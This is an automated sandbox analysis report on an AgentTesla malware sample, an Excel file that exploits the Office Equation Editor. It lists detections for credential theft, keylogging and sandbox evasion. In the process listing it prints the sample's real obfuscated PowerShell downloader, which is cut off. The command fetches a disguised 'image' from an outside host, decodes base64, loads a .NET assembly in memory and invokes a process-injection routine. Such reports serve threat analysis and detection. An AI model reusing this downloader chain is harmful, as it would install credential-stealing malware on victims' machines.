Windows
Analysis Report
orden de compra.xlam.xlsx
Overview
General Information
Detection
AgentTesla
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 1308 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) EQNEDT32.EXE (PID: 976 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) wscript.exe (PID: 2884 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\portu galsloveni a.js" MD5: 979D74799EA6C8B8167869A68DF5204A) powershell.exe (PID: 2200 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " .( $pSHoMe [21]+$pSho me[34]+'x' ) ( ('t0vl ink = Amah ttps://upl oadde'+'im agens.com. br/images/ 004/807/05 3/origin'+ 'al/new_im age.jpg?17 19846235Am a; t0vwebC lient = Ne w-Object S ystem.Net. WebClient; try { t0v downloaded Data = t0v webClient. DownloadDa ta(t0vlink ) } catch' +' { Write -Host AmaF ailed To d o'+'wnload data from t0vlin'+' kAma -Fore groundColo r Red'+'; exit }; if ('+'t0vdo wnloadedDa ta -ne t0v null) { t0 vimageText = [System .Text.Enco ding]::UT' +'F8.GetSt ring(t0vdo wnloadedDa ta); t0vst artFlag = Ama<<BASE6 4_START>>A ma; t0vend Flag = Ama <<BASE64_E ND>>Ama; t 0vstartInd ex = t0vim ageText.In dexOf(t0vs tartFlag); t0vendInd ex = t0vim ageText.In dexOf(t0ve ndFlag); i f (t0vstar tIndex -ge 0 -and t0 vendIndex -gt t0vsta rt'+'Index ) { t0vsta rtIndex += t0vstartF '+'lag.Len gth; t0vba se64Len'+' gth = t0ve ndIndex - t0vstartIn dex; t0vba '+'se64Com mand = t0v imageText. Substring( t0vstartIn dex, t0vb' +'ase64Len gth); t0vc ommandByte s = [Syste m.Convert] ::FromBase 64String(t 0vbase64C' +'ommand); t0vloaded Assembly = [System.R eflection. As'+'sembl y]::Load(t 0vcommandB ytes); t0v type = t'+ '0vloadedA ssembly.Ge tType('+'A maRunPE.Ho meAma); t0 vmethod = t0vtype.Ge tMethod(Am aVAIAma).I nvoke(t'+' 0vnull, [o bject[]] ( Amatxt.esa blanoitida rTruo/651' +'.342.3.2 91//:ptthA ma , '+'Am adesativad oAma , Ama desativado Ama'+' , A made'+'sat ivadoAma,A maAddInPro '+'cess32A ma,AmaAma) ) } }Set S criptblock t0vlink = Amahttps: //uploadde image'+'ns .com.br/im ages/004/8 06/083/ori ginal/new_ image.jpg? 1719607612 Am'+'a; t0 vwebClient = New-O'+ 'bject Sys tem.Net.We bClien'+'t ; try { t0 vdownloade dData = t0 vwebClient .DownloadD ata(t0vlin k) } catch { Write-H ost AmaFai led To dow nload data from t0vl inkAma -Fo regroundCo lor Red; e xit }; if (t0vdownlo adedData - ne t0vnull ) { t0vima geText = [ System.Tex t.Encoding ]::UTF8.'+ 'GetString (t0vdownlo adedData); t0vstartF lag '+'= A ma<<BASE64 _START>>Am a; t0vendF lag = Ama< <BASE64_EN D'+'>>Ama; t0vstartI ndex = t'+ '0vi'+'mag eText.Inde xOf(t0vsta rtFlag'+') ; t0vendIn dex = t0vi mageText.I ndex'+'Of( t0vendFlag ); if (t0v startIndex '+'-g'+'e 0 -and t0 vendIndex -gt t0vsta rtIndex) { '+'t0vsta rtIndex += t0vstartF lag.Length ; t0vbase6 4L'+'ength = t0vendI ndex - t0v startIndex ; t0vbase6 4Command'+ ' = t0vima geText.Sub string(t0v startIndex , t0vbase6 4Length); t0vcommand B'+'ytes = [Sy'+'ste m.Convert] :'+':FromB ase64Strin g(t0vbase6 4Command); t0vloaded Assembly = [System.R eflection. Assembly]: :Load(t0vc ommandByte s); t0vtyp e = t0vloa dedAssembl